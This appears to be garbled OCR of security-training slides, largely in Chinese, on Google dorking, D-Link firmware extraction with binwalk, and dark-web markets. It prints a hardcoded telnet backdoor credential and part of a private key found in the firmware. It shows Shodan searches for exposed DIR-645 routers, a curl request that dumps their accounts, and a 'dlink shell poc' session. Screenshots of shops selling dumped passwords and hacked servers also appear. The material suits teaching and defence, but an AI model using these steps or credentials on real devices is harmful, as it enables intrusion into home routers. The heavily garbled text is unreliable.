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Fun thing | learned today regarding
secure passwords: the password
"ji32k7aud4a83" looks like it'd be decently
secure, right? But if you check e.g. HIBP,
it's been seen over a hundred times.
Challenge: explain why and how this
happened and how this password might
be guessed
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ftEE2Google Hacking

site:www.bot.com.tw

Q= PES OFE OBm QnE 5=

)75 5480 BEEE (E2EH 0201
Google EBEEH
:E{FFE Google Search Console
www.google.com/webmasters/
22 www.bot.com.tw FIEE S8 7 [0 Google EEREIERIES|FIE2EAIE !

https:/iwww.bot com tw » documents » golddaily PDF

EEEmHE

2 FEl — THIBEN ¢ (104 BER eRmLISEMmLITEN, 79248 =@ B HAZ. B
LEHEE30 =R BIIEOETEEEE0E EU£ESETTE

3IE

https:/iwww.bot.com.tw

EEIRT
FRETEATAIBNETERPL0800-025-168EFR = SREBTEBETHE | SOERT
WEE TEFEEEREER SETARSR ¥ -

hitps:/iwww.bot.com.tw » services » atmmsg ~

ATMEAECSRER - @ 25R1T

Bl sBRHH ATM. £58H.5. £55H55RER. 0000, R 2002. EEETF R EH. 0000. R 2003,
SERTTRASGEAHRHRR.




ftEE2Google Hacking

Site:

P #egn

= t t. Operator Purpose Mixes with Other Operators? Can be used Alone?  Web Images Groups | News
I n eX X intitle Search page Title yes yes yes yes yes yes ;
3 aliintitle!*! | Search page title no yos yes yes yes yes “
fl Ietype : inurl Search URL yes yes yes yas not really | like intitle
allirurl Search URL na yes yes yes yes like intitle
i nt i tl e 5 filatype specific files yes 4] yes yes no not really
S intext Search text of page only | yes yes yes yes yes yes
S allintext Search lext of page only | not really yes YEs YES yes yes
INnu rl site Search specific site yes yes yes yes no not really
lirk Search for links to pages | no yas yes no no nat really
inanchor | Search link anchor text | yes yes yes yes not really | yes
numrange | Locate number yes yes yes no no not really
daterange | Search in date range yes Mo yes not really | not really | not really
author Group author search yes yes no no yes not really
group Group name search not really yes no no yes not really
insubject | Group subject search | yes yes like intitle | like intitle | yes like intitle
msgid Group msgid search Mo yes not really | not really | yes not really
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APPE %5 Y 3 FAY Facebook MRZ

* Google E&

€©) Facebook

Z

Facebook

195 25 K Apps FZR

Application name

Super Wallpapers Flashlight
Padenatef

Wallpaper Level
Contour level wallpaper
iPlayer & iwallpaper

Video Maker

Color Wallpapers
Pedometer

Powerful Flashlight

Super Bright Flashlight
Super Flashlight

Solitaire Game

Accurate scanning of QR code
Classic card game

Junk file cleaning

Synthetic 2

File Manager

Composite Z

Screenshot Capture

Daily Horoscope Wallpapers
Wuxia Reader

Plus Weather

Anime Live Wallpaper
iHealth Step Counter
com.tqyapp.fiction

Package

comwallpaperflashlightcompass
comsunnewjbg.beijingten
comliapplevel
comecommunicationwalllevel
comldlvideoeditiwallpapers
comuandroidapp.videoseditv
complay.ljwallpapercomapss
combaidunews.pedometer
commeituanybwflash
comtayapp.sh.flashlight
comsuperappxincheng
comgame.tgsolitaire
comtgyapp.qr
comcard.solitairenew
comxdapp.cleaning
comtqygame.synthetic
comsmtfilemanager
comgame.hcz
comdtiangiyangww.screenedit
comdtiangiyangww.constellation
comwuxiareader
complus.androidweather
comtqyapp.chuangtai
comtiantianlangtencent

comtqyapp.fiction

Installs

500000
500000
100000
100000
100000
100000
100000
100000
100000
100000
100000
100000
50000
50000
50000
50000
50000
50000
10000
10000
10000
10000

NfA

N/A

BZRI FEEEAER 234

Created
date

2019-07-23
2020-03-24
2019-04-22
2019-04-28
2020-03-20
2020-04-03
2019-09-26
2020-0-18
2018-12-25
2019-0H18
2020-03-03
2019-04-24
2019-02-20
2019-05-09
2019-03-22
2019-04-06
2017-12-27
2019-04-22
2019-07-03
2018-07-12
2017-05-14
2018-07-18
2019-01-10
2019-T-18
1970-01-01

——
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Ek:

* IRV S

EAZIRAVER

1%

ID EH

1 UDP

2 UDP

3 UDP

92.168.2.4 42.157.163.134
192.168.2.42 10.43.39.133
192.168.2.42 110.43.68.2
192.168.2.42 120.92.67.36

44543

i
300
o
onp
e

i

EEBEEE

D001
10001
8053
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Binwalk
NEAILUE: https://github.com/ReFirmLabs/binwalk

Applications ~ Places ~ Terminal ~ Wed 17:26
root@kali: ~

File Edit View Search Terminal Help
:~# binwalk -h

Binwalk v2.1.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk

- Usage: binwalk [OPTIONS] [FILEl] [FILE2] [FILE3]

Disassembly Scan Options:
g -Y, --disasm Identify the CPU architecture of a file using the capstone ¢{
-T, --minsn=<int> Minimum number of consecutive instructions to be considered
“” -k, --continue Don't stop at the first match

Signature Scan Options:
7 -B, --signature Scan target file(s) for common file signatures
R, i -R, --raw=<str> Scan target file(s) for the specified sequence of bytes




- B EBEAE I B RS8R
« IEERIFHEAS
* 5% : -M3k--matryoshka

binwalk

Scan Time:
Target File:

MD5 Checksum:

Signatures:

DECIMAL

1835128
1835160
bytes,

EERSIE

RS ZE Z45 ¢ squashfs ~ JFFS2 ~ yaffs2 ~ ext2

DIRB6BLC1 FW301b@8.bin

2021-12-09 12:14:33
/mnt/hgfs/D/CPENT/D-LINK/DIR-868/DIR868LC1_FW3@1bes.bin
ce85f5c479a3739a0f47912834ala27f

411

{5 F xz B 4

HEXADECIMAL DESCRIPTION

DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"

LZMA compressed data, properties: @x5D, dictionary size: 33554432 bytes,-Uncompressed size: 4836576 bytes
PackImg section delimiter tag little endian size: 3189760 bytes; big endian size: 11284480 bytes
Sguashfs filesystem| [little endian, version 4.@, |compression:xz,-size: 11284088 bytes, 2547 inodes,

0x1Co078

@x1CoQo08 blocksize:

created: 2016-06-13 10:87:37

] DL T sz S5 B (H F squashfs g ZER& =
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© BBIETGCUITTE -« 7t 7 BRloT BRI R IRE
© BHRZMAE - YD EREKEBEFEMLERAIET MRS

2 /mnt/../D-LINK/DIR-868/_DIR868LC1_FW381b@8.bin.extracted/squashfs-root

busybox
mDNSResponderPosix

= FEbin T AB LB ML 2 55 %
ill4lecho ~ busybox:--

umountdbg.sh

builddate
builddaytime
buildno
buildrev
buildver

buic

devconf
devdata
fu_sign
hwver
image_sign
langpack 79
lancs
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o BERBEMER E—FXFHEEH oA
FEHESHESEE \E% > @ﬁﬁgrep}

* #grep -r "password" -C3 --color

mnt/../D-LINK/DIR-868/_DIR868LC1_FW301b@8.bin.extracted/squashfs-root

d"

grep: bin/busybox: binary file matches

-<?

-/*rework wifi to

-1.ssid dlink+mac

2T and wpaauto psk.

_*,f

-include "/htdocs/phplib/xnode.php"”;
-include "/htdocs/phplib/trace.php”;

-setattr("/runtime/devdata/wifiverify" ,"get","devdata get -e wifiverify");
-setattr("/runtime/devdata/ipv6logo” ,"get","devdata get -e ipvélogo");

:setattr("/runtime/tmpdevdata/wifi

,"get", "devdata get -e psk");
-setattr("/runtime/tmpdevdata/ssid_2G" ,"get","devdata get -e wifissid_2g");
-setattr("/runtime/tmpdevdata/ssid_5G" ,"get","devdata get -e wifissid_5g");
-setattr("/runtime/tmpdevdata/wlanmac" ,"get","devdata get -e wlan2imac");

-setattr("/runtime/tmpdevdata/countrycode” ,"get","devdata get -e countrycode");
-setattr("/runtime/tmpdevdata/is_freset" ,"get","mfc isfreset");

:function changes_default_wifi($phyinfuid,$ssid,$ , $mac, $country)

{ e T T S S

80

- $authtype = "WPA+2PSK";
- $encrtype = "TKIP+AES";
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o FHRGPRMER - E—TFHETES A
c FHESEEE \E%>1§ﬁﬁgrepT

* #grep -nir --color $telnetd/mfcd

/mnt/../D-LINK/DIR-880/_DIR880GA1_FW107wWWbos.bin.extracted/squashfs-root
telnetd

-i_hr@ -t 0099909999099990999990999999499 &
114 -1 /usr/sbin/login -u Alphanetworks:$image_sign -i bro &
+16: o
:19: killall
26 killall
grep: us:!sblnftelnetd binary file matches

81
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FRPRMEER - E—LHETEE oIF A

RS2 > (FHcatiea <
BAENIRSE % Alphanetworks

2 /mnt/.../D-LINK/DIR-880/_DIRS880A1_FW107WWb08.bin.extracted/squashfs-root
cat etc/init@.d/S8@telnetd.sh
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize="xmldbc -g /runtime/device/devconfsize’
entn="devdata get -e ALWAYS_TN
if [ "$1" = "start" ] 66 [ "$entn" = "1" ]1; then
telnetd -1 bre -t 99999999999999999999999999999 &
exit

fi

if [ "$1" = "start” ] 66 [ "$orig_devconfsize” = "@" ]; then

if [ - “j'uqrff-:h"lnf'lnci"ln“ 1: then

image sien='cat /etc/config/image sign’
telnetd -1 fusr/sbin/login -u Alphanetworks:$image_sign -i bro &
else
telnetd &
fi
82

killall telnetd
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FRPRMEER - E—LHETEE oIF A
MRIEEE > FHcatie =

#cat etc/config/image_sign

- Jmnt/../D-LINK/DIR-880/ DIR880A1_FW107wWWbo8.bin.extracted/squashfs-root
t etc/initd.d/S80telnetd.sh
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize="xmldbc -g /runtime/device/devconfsize’
entn="devdata get -e ALWAYS_TN’
if [ "$1" = "start" ] &5 [ "$entn” = "1" ]; then
telnetd -i br® -t 99999999999999999999999999999 &
exit

fi

if [ "$1" = "start" ] &5 [ "$orig_devconfsize" = "@" ]; then

if [ -f "/usr/sbin/login" ]; then
image_sign="cat /etc/config/image_sign’
telnetd -1 /usr/sbin/login -u Alphanetworks:$image_sign -i bro &

else
telnetd &
fi

killall telnetd
83

e ..o /mnt/../D-LINK/DIR-880/ DIRS8GA1_FW107wwWbes.bin.extracted/squashfs-root A
cat etc/config/image sien

wrgacl6_dlink.2813gui_dir88a
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* #find.

SR E—PHAE RS R A
Sii=E 4@ > FHAfindiES

-name *.ke

- /mnt/../D-LINK/DIR-88@/_DIRS8SOA1_FW107wwWbes.bin.extracted/squashfs-root
find . key

./etc/stunnel.key

2 /mnt/../D-LINK/DIR-880/_DIR880A1_FW107WWbes.bin.extracted/squashfs-root
t ./etc/stunnel.ke
MIIEpAIBAAKCAQEAC/@bZcpec3NpcB8IYiNcP+kPXhLCGLMYXRATHLt2I1BbnkXWHK
MY1UmfqOFAZBYSVPYEGER4gYq467yvp5w097CUoTSIHbIDPNpIRE j6wLcMkG7RIO

S@RPHuUv2RinRtxsS3nzB@CgYEAttDci1GB2BxHvmb123Vsp15119KcDrh0?u+b

HREISH > SR T LA SR S
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‘e SHODAN Explore Downloads Pricing & Account

Go gle DIR-645 JFF48 X & Q

TOTAL RESULTS : :
..................................................................... ¥ View Report  [10 View on Map
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2 New Service: Keep track of what |
#75 39,600 IEER (E2HFE - 075 )
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99.124.11.55 HTTP/1.1 260 OK https://iwww.codenong.com > ... ~ EBAZEERES
59_l124.‘1-53.hmet-\ Server: Linux, . AT ]
p-hinet.net cvte: 1ue. o7l | D-Link DIR-645 Routers INESE @0 ( CNNVD-201303-018 )
L ] » . 3
Cpunanva Teiecom Transfer-gncodi| | 202044F23H — BR0x00 FERL0x01 HMARA0x02 FIFITLR0x03 shodanig ZREIE

B Talwan, Taipel 0x04 i ... D-Link DIR-645 Routers AT ] ( CNNVD-201303-018 ) .

D D-LINK SYSTEMS, INC. | WIR https://blog.csdn.net » article » details v EREERE

Germany 1

52.59.265.73 HTTP/1.1 268 0K [ CNNVD-201303-018] D-Link DIR-645 Routers iAIEZ25T ...

Taiwan 1 -52-59-255- . — e — = u -
o omoes servers Linu, | | 20204 23H — 0x02 FEENER. 3. 0x03 shodan 2 FREHE. ASTLI1.0271.04 4845
mazonaws.com bate: sat, &1 ) Fi#TRASHEAshodaniE = DIR-645 ...

TOP ORGANIZATIONS A100 ROW GmbH Transfer-Encodi

A100 ROW GmbH 1 - . o
Germany, Frankfurt https://www.linuxidc.com > Linux ~ BB EEZHEE
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root@kali: fhome/jason
root@kali: fhome/jason root@kali: /nome/jason

root@kali: /home/jason root@kali: /nome/j

e /home/jason

curl -d "SERVICES=DEVICE.ACCOUNT" "http:// | <-tcf<.php"

® /home/jason
curl "SERVICES=DEVICE.ACCOUNT" "http:/

<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-645</gw_name>

<account>
<seqno></seqno>
<max>2</max>
<count>2</count>
<entry>

<uid></uid>
| <name>admin</name>
<usrid></usrid>
</ rd>

<description></description>
</entry>
<entry>
<uid></uid>
<name>user</name>
<usrid></usrid>
<password></password>
<group>101</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>




IREBEFERIAE?

Produktseite : DIR-645

Hardware-Version : Al Firmware-Version : 1.02

Produktseite : DIR-645

Hardware-Version : Al

DIR-645 //

ERWEITERT

INTERNET

DRAHTLOS-
EINSTELLUNGEN

WIRELESS NETZWERKEINSTELLUN

ELTERLICHE
KONTROLLE UN
KINDERSCHUTZ

IPV6

Wenn Sie dieses Gerat zum ersten Mal konfigurieren, empfiehlt D-Link, auf 'Setup-Assistent fiir die
Internetverbindung' zu klicken und den Anweisungen auf dem Bildschirm zu folgen. Wenn Sie die
Geréteeinstellungen manuell &ndern oder konfigurieren mdchten, klicken Sie auf die Schaltfache
'Manuelle Einrichtung der Internetverbindung'.

SETUP-ASSISTENT FUR DIE INTERNETVERBINDUNG

Klicken Sie auf die Schaltflache unten, wenn Sie den einfach zu bedienenden webbasierten
Assistenten verwenden méchten, um Ihren neuen D-Link Systems Router mit dem Internet zu
verbinden.

| Setup-Assistent fiir die Internetverbindung ‘

Hinweis: Vergewissern Sie sich vor dem Start des Assistenten, dass Sie alle Schritte durchgefiihrt
haben, die in der beigefiigten Schnellinstallationsanleitung erlautert sind.

OPTION FUR DIE MANUELLE EINRICHTUNG DER INTERNETVERBINDUNG

Wenn Sie die Interneteinstellungen Ihres neuen D-Link-Routers manuell vornehmen méchten,
klicken Sie auf die Schaltflache unten.

‘ Manuelle Einrichtung der Internetverbindung |

Firmware-Versiol

SUPPORT

Niitzliche
Hinweise...

= Wenn Sie noch nie
im Netzwerkbereich
gearbeitet haben und
zum ersten Mal einen
Router konfigurieren,
klicken Sie auf Setup-
Assistent fiir die
Internetverbindung.
AnschlieBend werden
Sie durch einige
einfache Schritte zur
Inbetriebnahme Thres
Netzwerks gefiihrt.

» Sollten Sie jedoch
ein in diesem Bereich
erfahrener Benutzer
sein und schon einmal
einen Router
konfiguriert haben,
klicken Sie auf
Manuelle
Einrichtung der
Internetverbindung,
um alle Einstellungen

manuell vorzunehmen.




- /home/jason/Desktop/dlink shell poc
on dlink shell poc

[+] switching password to: DIR-645# pwd
/htdocs/web

DIR-645# 1s

| This is a limited shell that exploits piss poor programming. I created this
wpsstate.php

| to give you a comfort zone and to emulate a real shell environment. You will
| be limited to basic busybox commands. Good luck and happy hunting.

| To quit type 'gtfo’

DIR-645#

u
U}
u
u
u
u
u
u
u
U]
u
v
v
t
t
t
t
t
t
t
t
t
t
t

tools.php
support.php
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rontact and Basic Info

'age Transparency

)etails About Elon Musk

Elon Musk ¢

'osts About Mentions Followers Photos More * Follow (~] Message

\bout

About Elon Musk

Musk owns a Tesla Roadster car 0001 (the first one off the production line)
from Tesla Motors, a company in which he is an early investor. The Roadster is
a battery electric sportscar with a 220 mile range.

This is a fanpage, uploading tweets etc from him
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Open the Google app on iPhone 6S

Google sent a notification to your iPhone 6S. Open the
Google app, tap Yes on the prompt, then tap 19 on your

phone to sign in.
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' Deep Web

>90% of Internet
- Unindexed Internet

Dark Web (Darknet

- Subset of Deep Web
- Hidden Services
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Query 1.4 billion dumped passwords

Search by email address or username. Example: username@test.com, us

] search

Data dumps:

- 1.4bn passwords | You set the price -- its a donation

- Spotify ~1.3k accounts - $5

- Uplay ~300 accounts (ps4, xbox360, pc) | Full dump -- $5
- FREE Amazon 83K records from 25May\2016 (unparsed):

Pirated video-courses

- FREE sample: 10,000 foot view of penetration testing -
- See available courses & pricing

- Request a specific course from pluralsight - $30
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CHER c @ r/4hjsn>gnrwdmsdriey3/birdacdxskhgezz/7dlspilc54ycduymid.onion s 37 S

Query 1.4 billion dumped passwords

Search by email address.Example: username@test.com
Email Address: [ NG
PWD:

Want to buy the full database? This is my bitcoin wallet:1BXToM4RV68QpM1FUXNKXJCNgVN7keEXMec.

If the site is returning no results even when it should, send me an email so | can fix the issue.
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Severs  History « AddFunds Tickets  Atides ~ Sofware -+ Checkminfraud  SSN&Doblookup  Setings - FAQ
You are here: Servers

- Purchasing of Servers

Choose a region... v || Choose a city..

T

rt 80 Show VM Show Reselling

i ort 25 Poi
S el mlo .

Taiwan, Province Of China

Tajikistan

Tanzania, United Republic Of '
Thailand

Reunion

Vlaams-Brabant

Re-Seling




usrmlm ¢ PRCES:

01022017 UFOSystem 925

31012017  Obama 825

31012017  siggj 726

31.01.2017 825

31.01.2017 825

3001.2017 725

2901.2017 925

2001.2017 125

29.01.2017 825

20012017 | ReSeling

27012017 AutoBot

26.01.2017

2601.2017

26.01.2017

26.01.2017

26012017 Unknown




RGN
e A ©

% 35

BTW 163.21... Windows Server 2012 x64 | ZH Admin Privilege: Yes

Tai-wan, Taipei | ZIP: 100 Intel(R) Xeon(R) CPU E55200... Direct IP: Yes
@wmoE Ram: 3.99 GB| CPU Cores: 16 Antivirus: Unknown
Checked  Uptime - Browsers: €
25.10.2016 2 Day Y 171.96 Moitss T 47,55 Mbits Blackist: Check
Opened Ports: No
25.75% Vi No
Check IP-Score (0.208)

Ransomware: Unknown

Payment Systems

Cancel Check for Blacklist
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* Tor browser =

Tu L

» Dark web link T ZS ' T =i

' <

L)
[ 1
l
.
.

d

i (o)

1

TorSEREZBALISHEEE - E21EH " The Onion Router ; 87=E4

SETEAToEERE RS HESEAL | SAT00+ESENEE
H wTEZERESEE0L 258 ‘»"* SERTESVEIER) - Tor
FRARNSEEEZNEERN ¥§:=§§§ﬁ
BESEE : Tor=xXE/3) (%28 : The Tor Project, Inc )
#£3x(3E= : C  Python * Rust
EX %4 : Microsoft Windows; Unix-like ( Android * Linux * OS X )
BEX/N : 50-55MB
{RmiB= : CiE= Python ' Rust
RO . Free Software Award for Projects of Social Benefit
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QUESTIONS

ANSWERS




